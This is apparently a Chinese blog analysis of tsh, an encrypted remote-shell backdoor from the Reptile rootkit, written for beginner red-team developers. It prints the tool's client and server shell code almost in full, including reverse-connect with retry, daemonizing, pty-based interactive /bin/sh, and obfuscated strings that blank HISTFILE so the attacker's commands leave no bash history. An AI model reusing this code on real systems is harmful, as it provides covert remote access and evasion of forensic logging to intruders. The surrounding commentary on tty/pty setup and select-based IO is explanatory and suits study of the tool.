Tsh源码阅读和分析
tsh是一款轻量级远程shell工具,可在多个平台上编译运行,被集成在较为完善的Linux rootkit Reptile 中
- 其实现了文件传输和真正的交互shell,交互全程用aes和sha1加密
- 代码量比socat小,但很精巧,适合初级红队开发者进行学习
- 本篇的关键在 tty和pty的设置与使用, 其余涉及一点点信号、网络、多进程操作、IO模型会简略提一下
0x00 目录结构
tsh├── aes.c # aes加密算法实现├── aes.h # aes头文件├── ChangeLog├── Makefile # makefile中带有多种系统的简单编译选项├── pel.c # packet encrypt layer 报文加密的逻辑实现├── pel.h # 报文加密头文件├── README├── sha1.c # sha1加密算法实现├── sha1.h # sha1头文件├── tsh.c # tsh客户端实现├── tshd.c # tsh服务端实现└── tsh.h # tsh头文件
0x01 主逻辑分析
为了保证加密传输,作者将加密逻辑抽象出来形成 pel.[ch](packet encrypt layer),对外提供4个接口,方便主逻辑调用
int pel_client_init( int server, char *key ); // 初始化client加密int pel_server_init( int client, char *key ); // 初始化server加密int pel_send_msg( int sockfd, unsigned char *msg, int length ); // 加密发送消息int pel_recv_msg( int sockfd, unsigned char *msg, int *length ); // 解密接收消息
0x11 tsh client流程
通过指定参数,支持三种基本功能
- 交互shell
- 获取文件
- 传输文件

- 输入选项可以指定:IP or 反连、端口、密码、获取文件、发送文件,仅输入IP则默认动作(action)为连接远程shell

- 判断主被动连接
- 主动连接,创建socket并bind绑定地址之后,主动使用connect连接远程server。
- 被动连接,创建socket后bind地址,开启listen监听,使用accept等待连接到来
- 连接到来后,先发送密码,若没有设置密码,则使用硬编码于代码中的默认密码,如果错误则需要用户手输,再次错误则认证失败。如果用
-s设置了密码,错误则直接认证失败 - 发送我们开头设置的动作(action),失败则调用shutdown关闭两端的socket
- 根据我们的action调用不同功能函数,runshell模式中如果设置了命令,则仅执行该命令后便返回
0x12 tshd server流程
tshd_server主流程

- process_init子流程

- 基本参数

- server主流程使用fork,作用是保证进程后台运行,这样我们运行tshd的时候就不用手动加
&符号令进程后台运行 - while死循环处理到来连接。被动情况下等待client来连接我们,主动情况下如果连接不成功,则会等待5s,再次发起连接。连接成功时连接会交给process_client函数处理
- 在process_client流程中,会使用创建孙进程并退出父、子进程的方法,令孙进程由init进程接管,达到避免出现僵尸进程的效果
/* setup the packet encryption layer */alarm( 3 );ret = pel_server_init( client, secret );if( ret != PEL_SUCCESS ){shutdown( client, 2 );return( 10 );}// 这里取消闹钟alarm( 0 );
- 上面代码中
alarm(3)的作用是给当前进程设置一个3秒的时钟,如果pel_server_init处理太慢,则操作系统会发送一个SIGALRM信号中断此进程,达到合理关闭该进程的效果。alarm(0)的作用是 如果流程正常进行,则取消闹钟
0x02 关键函数分析
- tsh_runshell 客户端
int tsh_runshell( int server, char *argv2 ){fd_set rd;char *term;int ret, len, imf = 0;struct winsize ws;struct termios tp, tr;/* send the TERM environment variable */term = getenv( "TERM" );if( term == NULL ){term = "vt100";}len = strlen( term );ret = pel_send_msg( server, (unsigned char *) term, len );if( ret != PEL_SUCCESS ){pel_error( "pel_send_msg" );return( 22 );}// 判断当前文件描述符0是否指的是一个终端,是则返回1if( isatty( 0 ) ){// 交互shell模式imf = 1;// ioctl能够对不同设备进行操作// 这里是获取终端设备的窗口大小保存在ws中,用于传输给serverif( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ){perror( "ioctl(TIOCGWINSZ)" );return( 23 );}}else{// 默认窗口大小ws.ws_row = 25;ws.ws_col = 80;}// 把窗口大小数据填充到前四个char类型中,发给server处理message[0] = ( ws.ws_row >> 8 ) & 0xFF;message[1] = ( ws.ws_row ) & 0xFF;message[2] = ( ws.ws_col >> 8 ) & 0xFF;message[3] = ( ws.ws_col ) & 0xFF;ret = pel_send_msg( server, message, 4 );if( ret != PEL_SUCCESS ){pel_error( "pel_send_msg" );return( 24 );}/* send the system command */len = strlen( argv2 );ret = pel_send_msg( server, (unsigned char *) argv2, len );if( ret != PEL_SUCCESS ){pel_error( "pel_send_msg" );return( 25 );}/* set the tty to RAW */// 判断文件描述符 1是否为ttyif( isatty( 1 ) ){// 获取文件描述符 1的属性,存储到tp中,以便后期还原if( tcgetattr( 1, &tp ) < 0 ){perror( "tcgetattr" );return( 26 );}// 把tp拷贝到tr中,我们后续修改就用trmemcpy( (void *) &tr, (void *) &tp, sizeof( tr ) );// 设置terminal属性tr.c_iflag |= IGNPAR;tr.c_iflag &= ~(ISTRIP|INLCR|IGNCR|ICRNL|IXON|IXANY|IXOFF);tr.c_lflag &= ~(ISIG|ICANON|ECHO|ECHOE|ECHOK|ECHONL|IEXTEN);tr.c_oflag &= ~OPOST;tr.c_cc[VMIN] = 1;tr.c_cc[VTIME] = 0;// 设置文件描述符 1的属性if( tcsetattr( 1, TCSADRAIN, &tr ) < 0 ){perror( "tcsetattr" );return( 27 );}}// select多路复用模型 收发数据while( 1 ){// 清空rd集合FD_ZERO( &rd );if( imf != 0 ){// 如果是交互模式,那么把标准输入放到rd集合中FD_SET( 0, &rd );}// 把server标识符放到rd集合中FD_SET( server, &rd );// select系统调用// 当rd中某个被置入的标识符出现可读数据时解除阻塞if( select( server + 1, &rd, NULL, NULL, NULL ) < 0 ){perror( "select" );ret = 28;break;}// 判断出现可读数据的是否为server标识符// 处理server返回信息if( FD_ISSET( server, &rd ) ){// 接收server数据ret = pel_recv_msg( server, message, &len );if( ret != PEL_SUCCESS ){if( pel_errno == PEL_CONN_CLOSED ){ret = 0;}else{pel_error( "pel_recv_msg" );ret = 29;}break;}// 将数据写入标准输出标识符(即显示到控制台)if( write( 1, message, len ) != len ){perror( "write" );ret = 30;break;}}// 判断出现可读数据的是否为标准输入标识符(即用户输入)// 处理用户输入if( imf != 0 && FD_ISSET( 0, &rd ) ){// 读取用户的输入到messagelen = read( 0, message, BUFSIZE );if( len == 0 ){fprintf( stderr, "stdin: end-of-file\n" );ret = 31;break;}if( len < 0 ){perror( "read" );ret = 32;break;}// 发送给serverret = pel_send_msg( server, message, len );if( ret != PEL_SUCCESS ){pel_error( "pel_send_msg" );ret = 33;break;}}}// 恢复之前的terminal数据if( isatty( 1 ) ){tcsetattr( 1, TCSADRAIN, &tp );}return( ret );}
- tshd_runshell 服务端
int tshd_runshell( int client ){fd_set rd;struct winsize ws;char *slave, *temp, *shell;int ret, len, pid, pty, tty, n;// 获取一个伪终端 pseudo-tty// 这里用宏在编译的时候做了跨平台的处理,实现功能相同,我们当前暂时关心Linux部分#if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF// 自动获取一个伪终端,在/dev/pts下最大值 + 1if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 ){return( 24 );}// 获取当前伪终端的完整路径slave = ttyname( tty );if( slave == NULL ){return( 25 );}#else#if defined IRIXslave = _getpty( &pty, O_RDWR, 0622, 0 );if( slave == NULL ){return( 26 );}tty = open( slave, O_RDWR | O_NOCTTY );if( tty < 0 ){return( 27 );}#else#if defined CYGWIN || defined SUNOS || defined HPUXpty = open( "/dev/ptmx", O_RDWR | O_NOCTTY );if( pty < 0 ){return( 28 );}if( grantpt( pty ) < 0 ){return( 29 );}if( unlockpt( pty ) < 0 ){return( 30 );}slave = ptsname( pty );if( slave == NULL ){return( 31 );}tty = open( slave, O_RDWR | O_NOCTTY );if( tty < 0 ){return( 32 );}#if defined SUNOS || defined HPUXif( ioctl( tty, I_PUSH, "ptem" ) < 0 ){return( 33 );}if( ioctl( tty, I_PUSH, "ldterm" ) < 0 ){return( 34 );}#if defined SUNOSif( ioctl( tty, I_PUSH, "ttcompat" ) < 0 ){return( 35 );}#endif#endif#endif#endif#endif/* just in case bash is run, kill the history file */temp = (char *) malloc( 10 );if( temp == NULL ){return( 36 );}temp[0] = 'H'; temp[5] = 'I';temp[1] = 'I'; temp[6] = 'L';temp[2] = 'S'; temp[7] = 'E';temp[3] = 'T'; temp[8] = '=';temp[4] = 'F'; temp[9] = '\0';// 将环境变量HISTFILE置空,让/root/.bash_history不记录我们的shell操作putenv( temp );// 获取client端的Term环境变量ret = pel_recv_msg( client, message, &len );if( ret != PEL_SUCCESS ){return( 37 );}message[len] = '\0';temp = (char *) malloc( len + 6 );if( temp == NULL ){return( 38 );}temp[0] = 'T'; temp[3] = 'M';temp[1] = 'E'; temp[4] = '=';temp[2] = 'R';strncpy( temp + 5, (char *) message, len + 1 );putenv( temp );/* 获取terminal的row和col大小 */ret = pel_recv_msg( client, message, &len );if( ret != PEL_SUCCESS || len != 4 ){return( 39 );}ws.ws_row = ( (int) message[0] << 8 ) + (int) message[1];ws.ws_col = ( (int) message[2] << 8 ) + (int) message[3];ws.ws_xpixel = 0;ws.ws_ypixel = 0;// 设置当前伪终端的宽高if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 ){return( 40 );}// 获取client传输的命令ret = pel_recv_msg( client, message, &len );if( ret != PEL_SUCCESS ){return( 41 );}message[len] = '\0';temp = (char *) malloc( len + 1 );if( temp == NULL ){return( 42 );}strncpy( temp, (char *) message, len + 1 );// fork,使用子进程后台运行shellpid = fork();if( pid < 0 ){return( 43 );}// 子进程用来作为shellif( pid == 0 ){// fork会复制进程内的公有变量,子进程主要是作为后台shell执行命令并返回值给父进程,父进程用来管理pty和client通信,所以这里不需要client和ptyclose( client );close( pty );// 创建session,新建进程组,防止terminal退出导致进程的死亡if( setsid() < 0 ){return( 44 );}/* set controlling tty, to have job control */#if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF// 清空tty设置??if( ioctl( tty, TIOCSCTTY, NULL ) < 0 ){return( 45 );}#else#if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX{int fd;fd = open( slave, O_RDWR );if( fd < 0 ){return( 46 );}close( tty );tty = fd;}#endif#endif// 将标准输入、输出、错误输出复制到tty中dup2( tty, 0 );dup2( tty, 1 );dup2( tty, 2 );if( tty > 2 ){close( tty );}// 命令字符串开辟空间shell = (char *) malloc( 8 );if( shell == NULL ){return( 47 );}// "/bin/sh"shell[0] = '/'; shell[4] = '/';shell[1] = 'b'; shell[5] = 's';shell[2] = 'i'; shell[6] = 'h';shell[3] = 'n'; shell[7] = '\0';// 当前子进程装载为/bin/sh shellexecl( shell, shell + 5, "-c", temp, (char *) 0 );/* d0h, this shouldn't happen */return( 48 );}else // 父进程,接收消息给后台sh作为转发{/* tty (slave side) not needed anymore */close( tty );// select多路复用模型 收发数据while( 1 ){FD_ZERO( &rd );FD_SET( client, &rd );FD_SET( pty, &rd );n = ( pty > client ) ? pty : client;if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 ){return( 49 );}// 父进程接收来自client消息if( FD_ISSET( client, &rd ) ){ret = pel_recv_msg( client, message, &len );if( ret != PEL_SUCCESS ){return( 50 );}// 直接把收到的消息写给ptyif( write( pty, message, len ) != len ){return( 51 );}}// sh有消息写给父进程,那么父进程直接把消息发送给clientif( FD_ISSET( pty, &rd ) ){// 从pty拿到后台tty执行命令后的返回值len = read( pty, message, BUFSIZE );if( len == 0 ) break;if( len < 0 ){return( 52 );}// 发送给clientret = pel_send_msg( client, message, len );if( ret != PEL_SUCCESS ){return( 53 );}}}return( 54 );}/* not reached */return( 55 );}
0x03 技术分析
0x31 pty 与 tty 数据传导
- 相当于建立了管道连接
0x32 select IO多路复用模型
- select多路复用模型是Linux中三种多路复用模型之一
- 主要采取轮询文件标识符集合的模式,来达到高效率io目的
- 主要适用于少量且活性高的标识符
- select可以设置读、写、异常集合
- 这里使用的目的:使用单线程来完成多个并发连接请求
- 其实也能够用多线程来处理,即每次来一个连接请求,我们就开启一个线程去处理后续逻辑
- tsh的做法:一开始清空集合,然后将需要的文件标识符放入读集合中,再调用select同时设置最大文件标识符,这样select会在0~Max之间遍历所有标识符

- 当读集合中某个fd存在事件,那么select系统调用将会返回

- 然后使用FD_ISSET,判断事件集合中本次存在事件的标识符具体是哪一个,处理其后续逻辑

0x0 总结
- 宏的使用,做到跨平台,Linux系统编程基本操作
- 使用孙进程,避免出现僵尸进程
- tty和pty的使用做到了真正的交互shell
- 这里说一下python shell,其连接后使用
pty.spawn("/bin/bash")交互shell其实依然为某种程度哑shell,无法完成某些高交互进程(如:vim)的使用,需要进一步升级
- 这里说一下python shell,其连接后使用

- 设置窗口大小,控制返回值窗口
- 存在bug,输入
./tshd asdf后台会一直创建进程,最终跑死机器
0x0 参考资料
[2] What’s the difference between various $TERM variables?
[3] 理解 Linux 中的 tty、pty、pts、console、terminal
[4] Why do I need to run “/bin/bash —login”
